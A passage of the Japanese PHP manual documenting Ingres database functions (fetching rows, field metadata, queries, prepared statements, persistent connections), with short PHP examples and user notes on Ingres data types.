  • ingres_fetch_object() - 1 行分の結果をオブジェクトとして取得する
  • ingres_fetch_row() - 1 行分の結果を数値添字配列として取得する

User Contributed Notes

There are no user contributed notes for this page.


1 行分の結果をオブジェクトとして取得する

  • ≪ ingres_fetch_assoc
  • ingres_fetch_proc_return ≫
  • PHP Manual
  • Ingres 関数
  • 1 行分の結果をオブジェクトとして取得する

ingres_fetch_object

(PHP 4 >= 4.0.2, PHP 5 < 5.1.0, PECL ingres >= 1.0.0)

ingres_fetch_object — 1 行分の結果をオブジェクトとして取得する

説明

ingres_fetch_object ( resource $result , int $result_type = ? ) : object

この関数は ingres_fetch_array() に似ていますが、 配列の代わりにオブジェクトが返されるという違いが一つあります。 間接的なアクセス、つまり、オフセットではなくフィールド名によりデータを アクセスすることのみが可能です(数値はプロパティ名としては使用 できません)。

速度の面では、この関数は ingres_fetch_array() と等価であり、ingres_fetch_row() とほぼ同等です (違いは僅かです)。

注意: 関連する設定項目

実行時設定 の ingres.array_index_start, ingres.fetch_buffer_size および ingres.utf8 ディレクティブも参照ください。

パラメータ

link

クエリ結果 ID。

result_type

オプションの引数 result_type は定数であり、 次の値のどれかとなります: INGRES_ASSOC, INGRES_NUM, INGRES_BOTH

返り値

取得したレコード(行)をオブジェクトとして返します。 レコードがもうない場合は false を返します。

例

例1 オブジェクトへの行の取得

<?php
$link = ingres_connect($database, $user, $password);
$result = ingres_query($link, "select * from table");
while ($row = ingres_fetch_object($result)) {
    echo $row->user_id;
    echo $row->fullname;
}
?>

参考

  • ingres_query() - Ingres に SQL クエリを送信する
  • ingres_num_fields() - 直近のクエリにより返されたフィールドの数を得る
  • ingres_field_name() - クエリ結果においてフィールド名を得る
  • ingres_fetch_array() - 1 行分の結果を配列に取得する
  • ingres_fetch_assoc() - 1 行分の結果を連想配列に取得する
  • ingres_fetch_row() - 1 行分の結果を数値添字配列として取得する

User Contributed Notes

There are no user contributed notes for this page.


プロシージャコールからの返り値を取得する

  • ≪ ingres_fetch_object
  • ingres_fetch_row ≫
  • PHP Manual
  • Ingres 関数
  • プロシージャコールからの返り値を取得する

ingres_fetch_proc_return

(PECL ingres >= 1.4.0)

ingres_fetch_proc_return — プロシージャコールからの返り値を取得する

説明

ingres_fetch_proc_return ( resource $result ) : int

この関数を使って、Ingres データベースプロシージャ (ストアドプロシージャ) からの返り値を取得します。

注意:

行を処理する関数と組み合わせて使う場合は、 ingres_fetch_array() や ingres_fetch_object()、 ingres_fetch_row() を使ってすべての行を取得し終えてからでないと この関数をコールしてはいけません。 この関数をコールすると、残っている行をすべて破棄してしまいます。

パラメータ

result

クエリ結果 ID。

返り値

返り値がある場合は int、それ以外の場合は null を返します。

例

例1 プロシージャコールの返り値の取得

<?php

$link = ingres_connect($database);

if ( ingres_errno() != 0 ) {
    $error_text = ingres_error();
    die($error_text);
}

$result = ingres_query($link, "execute procedure php_proc (value = 1000)");

if ( ingres_errno() != 0 ) {
    $error_text = ingres_error();
    die($error_text);
}

echo "return value - " . ingres_fetch_proc_return($result) . "\n";

ingres_close($link);

?>

参考

  • ingres_query() - Ingres に SQL クエリを送信する
  • ingres_fetch_array() - 1 行分の結果を配列に取得する
  • ingres_fetch_object() - 1 行分の結果をオブジェクトとして取得する
  • ingres_fetch_row() - 1 行分の結果を数値添字配列として取得する

User Contributed Notes

There are no user contributed notes for this page.


1 行分の結果を数値添字配列として取得する

  • ≪ ingres_fetch_proc_return
  • ingres_field_length ≫
  • PHP Manual
  • Ingres 関数
  • 1 行分の結果を数値添字配列として取得する

ingres_fetch_row

(PHP 4 >= 4.0.2, PHP 5 < 5.1.0, PECL ingres >= 1.0.0)

ingres_fetch_row — 1 行分の結果を数値添字配列として取得する

説明

ingres_fetch_row ( resource $result ) : array

ingres_fetch_row() は取得したレコード(行)を有 する配列を返します。レコードがもうない場合は false を返します。各 カラムは、オフセット1から始まる配列オフセットに保存されます。

ingres_fetch_row() を連続的にコールした場合、 結果集合の中の次のレコードが返され、もうレコードがない場合はfalse を返します。

デフォルトでは、ingres_fetch_row() が作成する配列のインデックスは 1 から始まります。これは、 他の DBMS の拡張モジュールが 0 から始めるのと異なっています。 他と同様に 0 から始めるようにするには、設定パラメータ ingres.array_index_start を使用します。

注意: 関連する設定項目

実行時設定 の ingres.array_index_start, ingres.fetch_buffer_size および ingres.utf8 ディレクティブも参照ください。

パラメータ

result

クエリ結果 ID。

返り値

取得したレコード(行)を有する配列を返します。 レコードがもうない場合は false を返します。

例

例1 クエリの結果からの行の取得

<?php
$link = ingres_connect($database, $user, $password);

$result = ingres_query($link, "select * from table");
while ($row = ingres_fetch_row($result)) {
    echo $row[1];
    echo $row[2];
}
?>

参考

  • ingres_num_fields() - 直近のクエリにより返されたフィールドの数を得る
  • ingres_query() - Ingres に SQL クエリを送信する
  • ingres_fetch_array() - 1 行分の結果を配列に取得する
  • ingres_fetch_assoc() - 1 行分の結果を連想配列に取得する
  • ingres_fetch_object() - 1 行分の結果をオブジェクトとして取得する

User Contributed Notes

There are no user contributed notes for this page.


フィールド長を得る

  • ≪ ingres_fetch_row
  • ingres_field_name ≫
  • PHP Manual
  • Ingres 関数
  • フィールド長を得る

ingres_field_length

(PHP 4 >= 4.0.2, PHP 5 < 5.1.0, PECL ingres >= 1.0.0)

ingres_field_length — フィールド長を得る

説明

ingres_field_length ( resource $result , int $index ) : int

ingres_field_length() はフィールド長を返します。 フィールド長は、フィールドをサーバーに保存する際に使用されるバイト数です。 詳細な情報については、Ingres OpenAPI User Guide の Appendix "Data Types" を参照ください。

注意: 関連する設定

実行時設定 の ingres.array_index_start を参照ください。

パラメータ

result

クエリ結果 ID。

index

index は、長さを取得したいカラムの番号です。

index の取りうる値は ingres.array_index_start の値に依存します。 ingres.array_index_start が 1 (デフォルト) の場合は、index は 1 以上 ingres_num_fields() 以下でなければなりません。 ingres.array_index_start が 0 の場合は、index は 0 以上 ingres_num_fields() 未満でなければなりません。

返り値

フィールドの長さを返します。

参考

  • ingres_query() - Ingres に SQL クエリを送信する
  • ingres_fetch_array() - 1 行分の結果を配列に取得する
  • ingres_fetch_assoc() - 1 行分の結果を連想配列に取得する
  • ingres_fetch_object() - 1 行分の結果をオブジェクトとして取得する
  • ingres_fetch_row() - 1 行分の結果を数値添字配列として取得する

User Contributed Notes

There are no user contributed notes for this page.


クエリ結果においてフィールド名を得る

  • ≪ ingres_field_length
  • ingres_field_nullable ≫
  • PHP Manual
  • Ingres 関数
  • クエリ結果においてフィールド名を得る

ingres_field_name

(PHP 4 >= 4.0.2, PHP 5 < 5.1.0, PECL ingres >= 1.0.0)

ingres_field_name — クエリ結果においてフィールド名を得る

説明

ingres_field_name ( resource $result , int $index ) : string|false

ingres_field_name() は、クエリ結果のフィールド名を返します。

注意: 関連する設定

実行時設定 の ingres.array_index_start を参照ください。

パラメータ

result

クエリ結果 ID。

index

index は、名前を取得したいフィールドです。

index の取りうる値は ingres.array_index_start の値に依存します。 ingres.array_index_start が 1 (デフォルト) の場合は、index は 1 以上 ingres_num_fields() 以下でなければなりません。 ingres.array_index_start が 0 の場合は、index は 0 以上 ingres_num_fields() 未満でなければなりません。

返り値

クエリ結果のフィールド名を返します。 失敗した場合に false を返します。

参考

  • ingres_query() - Ingres に SQL クエリを送信する
  • ingres_fetch_array() - 1 行分の結果を配列に取得する
  • ingres_fetch_assoc() - 1 行分の結果を連想配列に取得する
  • ingres_fetch_object() - 1 行分の結果をオブジェクトとして取得する
  • ingres_fetch_row() - 1 行分の結果を数値添字配列として取得する

User Contributed Notes

There are no user contributed notes for this page.


フィールドに null 値を設定可能かどうか調べる

  • ≪ ingres_field_name
  • ingres_field_precision ≫
  • PHP Manual
  • Ingres 関数
  • フィールドに null 値を設定可能かどうか調べる

ingres_field_nullable

(PHP 4 >= 4.0.2, PHP 5 < 5.1.0, PECL ingres >= 1.0.0)

ingres_field_nullable — フィールドに null 値を設定可能かどうか調べる

説明

ingres_field_nullable ( resource $result , int $index ) : bool

フィールドに null を設定可能かどうかを調べます。

注意: 関連する設定

実行時設定 の ingres.array_index_start を参照ください。

パラメータ

result

クエリ結果 ID。

index

index は、null が設定可能かどうかを取得したいフィールドです。

index の取りうる値は ingres.array_index_start の値に依存します。 ingres.array_index_start が 1 (デフォルト) の場合は、index は 1 以上 ingres_num_fields() 以下でなければなりません。 ingres.array_index_start が 0 の場合は、index は 0 以上 ingres_num_fields() 未満でなければなりません。

返り値

ingres_field_nullable() は、フィールドに null が設定可能な場合に true、設定できない場合に false を返します。

参考

  • ingres_query() - Ingres に SQL クエリを送信する
  • ingres_fetch_array() - 1 行分の結果を配列に取得する
  • ingres_fetch_assoc() - 1 行分の結果を連想配列に取得する
  • ingres_fetch_object() - 1 行分の結果をオブジェクトとして取得する
  • ingres_fetch_row() - 1 行分の結果を数値添字配列として取得する

User Contributed Notes

There are no user contributed notes for this page.


フィールドの精度を得る

  • ≪ ingres_field_nullable
  • ingres_field_scale ≫
  • PHP Manual
  • Ingres 関数
  • フィールドの精度を得る

ingres_field_precision

(PHP 4 >= 4.0.2, PHP 5 < 5.1.0, PECL ingres >= 1.0.0)

ingres_field_precision — フィールドの精度を得る

説明

ingres_field_precision ( resource $result , int $index ) : int

ingres_field_precision() はフィールドの精度を返します。 この値は、decimal、float、SQLデータ money 型でのみ使用されます。 詳細な情報については、Ingres OpenAPI User Guide の Appendix "Data Types" を参照ください。

注意: 関連する設定

実行時設定 の ingres.array_index_start を参照ください。

パラメータ

result

クエリ結果 ID。

index

index は、精度を取得したいフィールドです。

index の取りうる値は ingres.array_index_start の値に依存します。 ingres.array_index_start が 1 (デフォルト) の場合は、index は 1 以上 ingres_num_fields() 以下でなければなりません。 ingres.array_index_start が 0 の場合は、index は 0 以上 ingres_num_fields() 未満でなければなりません。

返り値

フィールドの精度を返します。

参考

  • ingres_query() - Ingres に SQL クエリを送信する
  • ingres_fetch_array() - 1 行分の結果を配列に取得する
  • ingres_fetch_assoc() - 1 行分の結果を連想配列に取得する
  • ingres_fetch_object() - 1 行分の結果をオブジェクトとして取得する
  • ingres_fetch_row() - 1 行分の結果を数値添字配列として取得する

User Contributed Notes

There are no user contributed notes for this page.


フィールドのスケールを得る

  • ≪ ingres_field_precision
  • ingres_field_type ≫
  • PHP Manual
  • Ingres 関数
  • フィールドのスケールを得る

ingres_field_scale

(PHP 4 >= 4.0.2, PHP 5 < 5.1.0, PECL ingres >= 1.0.0)

ingres_field_scale — フィールドのスケールを得る

説明

ingres_field_scale ( resource $result , int $index ) : int

ingres_field_scale() はフィールドのスケールを返します。 この値は、SQLデータ decimal 型でのみ使用されます。 詳細な情報については、Ingres OpenAPI User Guide の Appendix "Data Types" を参照ください。

注意: 関連する設定

実行時設定 の ingres.array_index_start を参照ください。

パラメータ

result

クエリ結果 ID。

index

index は、スケールを取得したいフィールドです。

index の取りうる値は ingres.array_index_start の値に依存します。 ingres.array_index_start が 1 (デフォルト) の場合は、index は 1 以上 ingres_num_fields() 以下でなければなりません。 ingres.array_index_start が 0 の場合は、index は 0 以上 ingres_num_fields() 未満でなければなりません。

返り値

フィールドのスケールを返します。

参考

  • ingres_query() - Ingres に SQL クエリを送信する
  • ingres_fetch_array() - 1 行分の結果を配列に取得する
  • ingres_fetch_assoc() - 1 行分の結果を連想配列に取得する
  • ingres_fetch_object() - 1 行分の結果をオブジェクトとして取得する
  • ingres_fetch_row() - 1 行分の結果を数値添字配列として取得する

User Contributed Notes

There are no user contributed notes for this page.


クエリ結果においてフィールドの型を得る

  • ≪ ingres_field_scale
  • ingres_free_result ≫
  • PHP Manual
  • Ingres 関数
  • クエリ結果においてフィールドの型を得る

ingres_field_type

(PHP 4 >= 4.0.2, PHP 5 < 5.1.0, PECL ingres >= 1.0.0)

ingres_field_type — クエリ結果においてフィールドの型を得る

説明

ingres_field_type ( resource $result , int $index ) : string|false

クエリ結果においてフィールドの型を取得します。

注意: 関連する設定

実行時設定 の ingres.array_index_start を参照ください。

パラメータ

result

クエリ結果 ID。

index

index は、型を取得したいフィールドです。

index の取りうる値は ingres.array_index_start の値に依存します。 ingres.array_index_start が 1 (デフォルト) の場合は、index は 1 以上 ingres_num_fields() 以下でなければなりません。 ingres.array_index_start が 0 の場合は、index は 0 以上 ingres_num_fields() 未満でなければなりません。

返り値

ingres_field_type() はクエリ結果のフィールド型、 失敗した場合に false を返します。返される型は、例えば、 IIAPI_BYTE_TYPE, IIAPI_CHA_TYPE, IIAPI_DTE_TYPE, IIAPI_FLT_TYPE, IIAPI_INT_TYPE, IIAPI_VCH_TYPE になります。 これらの型のいくつかは、フィールド長に応じて複数の SQL 型を マップすることが可能です(ingres_field_length() を参照ください)。例えば IIAPI_FLT_TYPE は、float4 または float8 とすることが可能です。詳細な情報については、Ingres OpenAPI User Guide の Appendix "Data Types" を参照ください。

参考

  • ingres_query() - Ingres に SQL クエリを送信する
  • ingres_fetch_array() - 1 行分の結果を配列に取得する
  • ingres_fetch_assoc() - 1 行分の結果を連想配列に取得する
  • ingres_fetch_object() - 1 行分の結果をオブジェクトとして取得する
  • ingres_fetch_row() - 1 行分の結果を数値添字配列として取得する

User Contributed Notes

burckhardtCUTMEOUT at gsf dot de 26-Mar-2002 04:11
I have to apologise for the previous two long postings, but information referring to the INGRES data types is a bit hard to find, so I want to share it. Below is my translation script for INGRES->MySQL data types.

<?
 // Fieldtype Translator  INGRES => MySQL (c) F.Burckhardt
 // translates string, int, date; might be incomplete with respect to other INGRES data-types
 $sql="SELECT * FROM table";
 $conn = ingres_connect ($database, $user, $password);
 $results = ingres_query($sql,$conn);
 $fieldtype = array ( "key" => "val");
 $ingres_translation = array( "IIAPI_VCH_TYPE" => "string",
                              "IIAPI_CHA_TYPE" => "string",
                              "IIAPI_INT_TYPE" => "int",
                              "IIAPI_DTE_TYPE" => "date");
 for($i=1; $i<ingres_num_fields($conn)+1; $i++) {
   $fieldtype [ingres_field_name($i,$conn)] = $ingres_translation[ingres_field_type($i,$conn)];
   echo ("field_name (".ingres_field_name($i,$conn).") field_type (INGRES): ".ingres_field_type($i,$conn)." => fieldtype (MySQL)".$ingres_translation[ingres_field_type($i,$conn)]." <br>");
        }
 ?>
burckhardtCUTMEOUT at gsf dot de 26-Mar-2002 04:08
IIAPI_LOGKEY_TYPE A data type with values that are unique within the data source. An application should not attempt to update a column containing a system-maintained object key.

IIAPI_LBYTE_TYPE A variable-length binary string. The actual length of the large byte segment is stored in the first two bytes of the data buffer, followed by the large byte data. Length: 0 to 2,000,000,000 characters.

IIAPI_LVCH_TYPE A variable-length character string. The actual length of the large varchar segment is stored in the first two bytes of the data buffer, followed by the large varchar data. Valid characters for this data type include printing, non-printing, and NULL characters. Trailing blanks are insignificant in a varchar data type. Length: 0 to 2,000,000,000 characters.

IIAPI_MNY_TYPE The Ingres money data type stored in 8 bytes with 2 fixed decimal places.  IIAPI_convertData() or  IIAPI_formatData() can be used to convert to character string or floating point representation.

IIAPI_TABKEY_TYPE A data type with a value that is unique within the table where the table key is stored. An application should not attempt to update a column containing a systemmaintained table key.

IIAPI_TXT_TYPE A variable-length character string. The maximum size for this data type is stored as the ds_length parameter in the corresponding descriptor. The actual length of the text data is stored in the first two bytes of the data buffer, followed by the text data. Valid characters for this data type include printing and non-printing characters. All blanks are significant in a text data buffer. This type is supported for previous Ingres versions; when possible, use  IIAPI_VCH_TYPE. Length: 1 to 2,000 characters.

IIAPI_VBYTE_TYPE A variable-length binary string. The maximum size for varbyte data is stored as the ds_length parameter in the corresponding descriptor. The actual length of the varbyte data is stored in the first two bytes of the data buffer, followed by the varbyte data. Length: 0 to 2,000 characters.

IIAPI_VCH_TYPE A variable-length character string. The maximum size for varchar data is stored as the ds_length parameter in the corresponding descriptor. The actual length of the varchar data is stored in the first two bytes of the data buffer, followed by the varchar data. Trailing blanks are insignificant in a varchar data type. Length: 0 to 2,000 characters.
burckhardtCUTMEOUT at gsf dot de 26-Mar-2002 04:08
Ingres Data Types (oapi.pdf open api user guide)
Data Type Descriptions Ingres data types are described in the following table:
 Data Type Description
IIAPI_BYTE_TYPE A fixed length binary string containing data with the declared length. The declared length is stored as the ds_length parameter in the corresponding data descriptor. Length: 1 to 2,000 characters.

IIAPI_CHA_TYPE A fixed length character string that is stored blankpadded to the declared length. The declared length is stored as the ds_length parameter in the corresponding data descriptor. Embedded blanks are significant. Valid characters for this data type include printing, nonprinting, and NULL characters. Length: 1 to 2,000 characters.

IIAPI_CHR_TYPE A fixed length character string that is stored blankpadded to the declared length. The declared length is stored as the ds_length parameter in the corresponding data descriptor. Embedded blanks are insignificant. Valid characters for this data type include printing characters only. This data type is supported for previous Ingres versions; when possible, use IIAPI_CHA_TYPE. Length: 1 to 2,000 characters.

IIAPI_HNDL_TYPE A data type used only by OpenAPI and the application. This data type describes a handle, which is a pointer to one of the control blocks created by OpenAPI. OpenAPI translates the information in the control block into data acceptable by the data source. This data type does not appear in queries.

IIAPI_DEC_TYPE A packed decimal data type stored in 1 to 16 bytes depending on the precision of the value as follows: len = (precision)/2 + 1. IIAPI_convertData() or  IIAPI_formatData() may be used to convert to character string or floating point representation.

IIAPI_DTE_TYPE Ingres internal date data type that is stored in 12 bytes. IIAPI_convertData() or IIAPI_formatData() may be used to convert to character string or floating point representation.

IIAPI_FLT_TYPE A data type supporting data value ranges from - 1.0e+38 to +1.0e+38.

IIAPI_INT_TYPE A data type supporting varying data value ranges. It is dependent on the ds_length of the data value. If the length is 1, the range is from -128 to +127. If the length is 2, the range is from -32,768 to +32,767. If the length is 4, the range is from -2,147,483,648 to +2,147,483,647.


結果 ID に関連づけられたリソースを解放する

  • ≪ ingres_field_type
  • ingres_next_error ≫
  • PHP Manual
  • Ingres 関数
  • 結果 ID に関連づけられたリソースを解放する

ingres_free_result

(PECL ingres >= 2.0.0)

ingres_free_result — 結果 ID に関連づけられたリソースを解放する

説明

ingres_free_result ( resource $result ) : bool

パラメータ

result

クエリ結果 ID。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 結果リソースの解放

<?php
$link = ingres_connect($database, $user, $password);

$result = ingres_query($link, "select * from table");

while ($row = ingres_fetch_row($result)) {
    echo $row[1];
    echo $row[2];
}
ingres_free_result($result);

ingres_close($link)

?>

参考

  • ingres_query() - Ingres に SQL クエリを送信する

User Contributed Notes

There are no user contributed notes for this page.


次の Ingres エラーを取得する

  • ≪ ingres_free_result
  • ingres_num_fields ≫
  • PHP Manual
  • Ingres 関数
  • 次の Ingres エラーを取得する

ingres_next_error

(PECL ingres >= 2.0.0)

ingres_next_error — 次の Ingres エラーを取得する

説明

ingres_next_error ( resource $link = ? ) : bool

最後に実行したクエリについての、次の Ingres エラーを取得します。
ingres_next_error() をコールするたびに、続けて
ingres_errno()、ingres_error()
あるいは ingres_errsqlstate()
をコールしてエラー番号、エラーテキスト、SQL STATE を取得することができます。
ingres_next_error() が true を返す間は、取得できるエラーがまだ残っています。

パラメータ

link

接続リンク ID。

返り値

ingres_next_error() は、 取得できるエラーがまだ残っている場合に true を返します。 もうエラーがない場合は false を返します。

参考

  • ingres_errno() - 直近に発生した ingres エラー番号を取得する
  • ingres_error() - 直近に発生したエラーのエラーメッセージを取得する
  • ingres_errsqlstate() - 直近に発生した SQLSTATE エラーコードを取得する

User Contributed Notes

There are no user contributed notes for this page.


直近のクエリにより返されたフィールドの数を得る

  • ≪ ingres_next_error
  • ingres_num_rows ≫
  • PHP Manual
  • Ingres 関数
  • 直近のクエリにより返されたフィールドの数を得る

ingres_num_fields

(PHP 4 >= 4.0.2, PHP 5 < 5.1.0, PECL ingres >= 1.0.0)

ingres_num_fields — 直近のクエリにより返されたフィールドの数を得る

説明

ingres_num_fields ( resource $result ) : int

ingres_num_fields() は、 ingres_query() をコールした後で、Ingres サーバーにより返された結果のフィールド数を返します。

パラメータ

result

クエリ結果 ID。

返り値

フィールドの数を返します。

参考

  • ingres_query() - Ingres に SQL クエリを送信する
  • ingres_fetch_array() - 1 行分の結果を配列に取得する
  • ingres_fetch_assoc() - 1 行分の結果を連想配列に取得する
  • ingres_fetch_object() - 1 行分の結果をオブジェクトとして取得する
  • ingres_fetch_row() - 1 行分の結果を数値添字配列として取得する

User Contributed Notes

There are no user contributed notes for this page.


クエリが変更したり返したりしたレコードの数を取得する

  • ≪ ingres_num_fields
  • ingres_pconnect ≫
  • PHP Manual
  • Ingres 関数
  • クエリが変更したり返したりしたレコードの数を取得する

ingres_num_rows

(PHP 4 >= 4.0.2, PHP 5 < 5.1.0, PECL ingres >= 1.0.0)

ingres_num_rows — クエリが変更したり返したりしたレコードの数を取得する

説明

ingres_num_rows ( resource $result ) : int

この関数は、主にデータベースで修正されたレコードの数を得る際に有用です。 しかし、SELECT 分で取得した行の数を取得するために使うこともできます。

注意:

スクロール可能なカーソル
が無効な状態でこの関数が ingres_fetch_array()、
ingres_fetch_object()、
ingres_fetch_row() を使用する前にコールされた場合、
サーバーは結果のデータを削除し、スクリプトは結果を得ることができなくなります。

代わりにこれらの取得用関数のどれかをもう結果が残っていないという意味で false を返すまでループ処理を行い、結果のデータを取得する必要があります。

パラメータ

result

クエリ結果 ID。

返り値

delete, insert, update クエリの場合、 ingres_num_rows() は、そのクエリにより作用された行 (レコード)の数を返します。その他のクエリの場合、 ingres_num_rows() はクエリ結果のレコード数を返します。

参考

  • ingres_query() - Ingres に SQL クエリを送信する
  • ingres_fetch_array() - 1 行分の結果を配列に取得する
  • ingres_fetch_assoc() - 1 行分の結果を連想配列に取得する
  • ingres_fetch_object() - 1 行分の結果をオブジェクトとして取得する
  • ingres_fetch_row() - 1 行分の結果を数値添字配列として取得する

User Contributed Notes

There are no user contributed notes for this page.


Ingres データベースへの持続的接続をオープンする

  • ≪ ingres_num_rows
  • ingres_prepare ≫
  • PHP Manual
  • Ingres 関数
  • Ingres データベースへの持続的接続をオープンする

ingres_pconnect

(PHP 4 >= 4.0.2, PHP 5 < 5.1.0, PECL ingres >= 1.0.0)

ingres_pconnect — Ingres データベースへの持続的接続をオープンする

説明

ingres_pconnect ( string $database = ? , string $username = ? , string $password = ? , array $options = ? ) : resource|false

Ingres データベースへの持続的接続をオープンします。

この関数と ingres_connect() の違いは次の 2 つだけです。 まず、接続時にこの関数は、まず同じパラメータ既にオープンされている (持続的な)リンクを探すことです。第2に、Ingres サーバーへの接続は スクリプトの実行終了時にもクローズされないところです。代わりに、 リンクは、後で使用するためにオープンされたままとなります (ingres_close() は、 ingres_pconnect() により確立されたリンクを クローズしません)。このため、この型のリンクは「持続的(persistent)」 であると呼ばれます。

パラメータ

database

データベース名。

[vnode::]dbname[/svr_class] のような形式でなければなりません。

username

Ingres のユーザー名。

password

username のパスワード。

options

渡せるオプションの一覧は ingres_connect() を参照ください。

返り値

成功した際に Ingres リンクリソース、失敗した場合に false を返します。

参考

  • ingres_connect() - Ingres データベースへの接続をオープンする
  • ingres_close() - Ingres データベース接続を閉じる

User Contributed Notes

There are no user contributed notes for this page.


後で実行するためのクエリを準備する

  • ≪ ingres_pconnect
  • ingres_query ≫
  • PHP Manual
  • Ingres 関数
  • 後で実行するためのクエリを準備する

ingres_prepare

(PECL ingres >= 1.1.0)

ingres_prepare — 後で実行するためのクエリを準備する

説明

ingres_prepare ( resource $link , string $query ) : mixed

ingres_execute() で実行するためのクエリを準備します。

クエリは、現在開いているトランザクションの一部となります。 開いているトランザクションがない場合は ingres_query() が新しいトランザクションを開きます。 トランザクションを閉じるには、ingres_commit() をコールして変更をデータベースにコミットするか ingres_rollback() で変更をキャンセルします。 スクリプトが終了すると、開いているトランザクションはすべて (ingres_rollback() をコールして) ロールバックされます。 新しいトランザクションを開く前に ingres_autocommit() をコールすると、 SQL を実行するたびにその場で自動的にコミットするようになります。

注意: 関連する設定項目

実行時設定での ingres.describe、 ingres.scrollable および ingres.utf8 の説明も参照ください。

パラメータ

link

接続リンク ID。

query

Ingres のドキュメント (Ingres SQL reference guide を参照ください) に書かれた正しい形式の SQL クエリ。 ingres_prepare() を使って実行できない SQL 文の一覧は、 ingres_query() の query パラメータを参照ください。

返り値

ingres_prepare() はクエリの結果 ID を返します。
ingres_execute() でクエリを実行するときに、これを使います。
エラーが発生したかどうかを知るには、ingres_errno()、
ingres_error() あるいは
ingres_errsqlstate() を使います。

参考

  • ingres_unbuffered_query() - 未バッファ SQL クエリを Ingres に送信する
  • ingres_fetch_array() - 1 行分の結果を配列に取得する
  • ingres_fetch_assoc() - 1 行分の結果を連想配列に取得する
  • ingres_fetch_object() - 1 行分の結果をオブジェクトとして取得する
  • ingres_fetch_row() - 1 行分の結果を数値添字配列として取得する
  • ingres_commit() - トランザクションをコミットする
  • ingres_rollback() - トランザクションをロールバックする
  • ingres_autocommit() - autocommit をオンまたはオフに切替える
  • ingres_set_environment() - 環境を設定して出力オプションを制御する
  • ingres_errno() - 直近に発生した ingres エラー番号を取得する
  • ingres_error() - 直近に発生したエラーのエラーメッセージを取得する

User Contributed Notes

There are no user contributed notes for this page.


Ingres に SQL クエリを送信する

  • ≪ ingres_prepare
  • ingres_result_seek ≫
  • PHP Manual
  • Ingres 関数
  • Ingres に SQL クエリを送信する

ingres_query

(PHP 4 >= 4.0.2, PHP 5 < 5.1.0, PECL ingres >= 1.0.0)

ingres_query — Ingres に SQL クエリを送信する

説明

ingres_query ( resource $link , string $query , array $params = ? , string $types = ? ) : mixed

ingres_query() は、指定した query を Ingres サーバーに送信します。

クエリは、現在オープンされているトランザクションの一部となります。 オープンされているトランザクションがない場合、 ingres_query() は新規のトランザクションをオープンします。 トランザクションをクローズするには、データベースへの変更をコミットする場合に ingres_commit() を、 これらの変更をキャンセルする場合に ingres_rollback() のどちらかを使用することが可能です。 スクリプト終了時に、全てのオープンされたトランザクションは (ingres_rollback() をコールすることにより) ロールバックされます。新規トランザクションをオープンする前に ingres_autocommit() を使用することも可能です。 この場合、各 SQL クエリは直ちにコミットされます。

注意: 関連する設定項目

実行時設定 での ingres.describe、 ingres.scrollable および ingres.utf8 の説明も参照ください。

パラメータ

link

接続リンク ID。

query

有効な SQL クエリ (Ingres ドキュメントにある Ingres SQL リファレンスガイド を参照ください)。

クエリ内のデータは 適切にエスケープ しておかなければなりません。

次の型の SQL クエリは、この関数で送信できません。

  • close (ingres_close() を参照)
  • commit (ingres_commit() を参照)
  • connect (ingres_connect() を参照)
  • disconnect (ingres_close() を参照)
  • get dbevent
  • prepare to commit
  • rollback (ingres_rollback() を参照)
  • savepoint
  • set autocommit (ingres_autocommit() を参照)
  • カーソルに関係するクエリはサポートされていません

params

クエリで使用するパラメータの値の配列。

types

渡されたパラメータの値の型を含む文字列。 ingres.describe が有効な場合は このパラメータは無視され、サーバーが期待している型をドライバが自動的に取得します。

型コード | Ingres の型
a | BOOLEAN
b | BYTE
B | LONG BYTE/BLOB
c | CHAR
d | DATE/ANSIDATE/TIMESTAMP/TIME
f | FLOAT
i | INTEGER
L | LONG TEXT
m | MONEY
M | LONG NVARCHAR
n | NCHAR
N | NVARCHAR
t | TEXT
v | VARCHAR
V | LONG VARCHAR

返り値

ingres_query() は、
成功した場合にクエリ結果 ID、それ以外の場合に false を返します。
エラーが発生したかどうかを知るには
ingres_errno()、
ingres_error() あるいは
ingres_errsqlstate() を使用します。

例

例1 単純な select の送信

<?php
$link = ingres_connect("demodb");

$result = ingres_query($link, "select * from user_profile");
while ($row = ingres_fetch_row($result)) {
    echo $row[1];
    echo $row[2];
}
?>

例2 ingres_query() へクエリパラメータを渡す

<?php
$link = ingres_connect("demodb");

$params[] = "Emma";
$query = "select * from user_profile where up_first = ?";
$result = ingres_query($link, $query, $params);
while ($row = ingres_fetch_row($result)) {
    echo $row[1];
    echo $row[2];
}
?>

例3 パラメータの型を指定した BLOB の挿入

<?php
$link = ingres_connect("demodb");

// 写真をオープンします
$fh = fopen("photo.jpg","r");
$blob_data = stream_get_contents($fh);
fclose($fh);

// パラメータを準備します
$params[] = $blob_data;
$params[] = 1201;

// パラメータの型を定義します
$param_types = "Bi";

$query = "update user_profile set up_image = ? where up_id = ?";
$result = ingres_query($link, $query , $params, $param_types);

if (ingres_errno())
{
    echo ingres_errno() . "-" . ingres_error() . "\n";
}

ingres_commit($link);

ingres_close($link);
?>

参考

  • ingres_unbuffered_query() - 未バッファ SQL クエリを Ingres に送信する
  • ingres_fetch_array() - 1 行分の結果を配列に取得する
  • ingres_fetch_assoc() - 1 行分の結果を連想配列に取得する
  • ingres_fetch_object() - 1 行分の結果をオブジェクトとして取得する
  • ingres_fetch_row() - 1 行分の結果を数値添字配列として取得する
  • ingres_commit() - トランザクションをコミットする
  • ingres_rollback() - トランザクションをロールバックする
  • ingres_autocommit() - autocommit をオンまたはオフに切替える
  • ingres_set_environment() - 環境を設定して出力オプションを制御する
  • ingres_errno() - 直近に発生した ingres エラー番号を取得する
  • ingres_error() - 直近に発生したエラーのエラーメッセージを取得する

User Contributed Notes

There are no user contributed notes for this page.


データを取得する前に行の位置を設定する

  • ≪ ingres_query
  • ingres_rollback ≫
  • PHP Manual
  • Ingres 関数
  • データを取得する前に行の位置を設定する

ingres_result_seek

(PECL ingres >= 2.1.0)

ingres_result_seek — データを取得する前に行の位置を設定する

説明

ingres_result_seek ( resource $result , int $position ) : bool

この関数を使って、フェッチを実行する前に結果セットのカーソルを移動することができます。 ingres.array_index_start が 0 の場合は最初の行が 0 番目、それ以外の場合は最初の行は 1 番目となります。 ingres_result_seek() は、 スクロール可能なカーソル を使ったクエリでのみ使うことができます。 ingres_unbuffered_query() では使うことができません。

注意: 関連する設定項目

実行時設定での ingres.scrollable および ingres.array_index_start の説明も参照ください。

パラメータ

result

クエリの結果 ID。

position

カーソルを移動させる場所。ingres.array_index_start が 0 の場合は最初の行が 0 番目、それ以外の場合は最初の行は 1 番目となります。

返り値

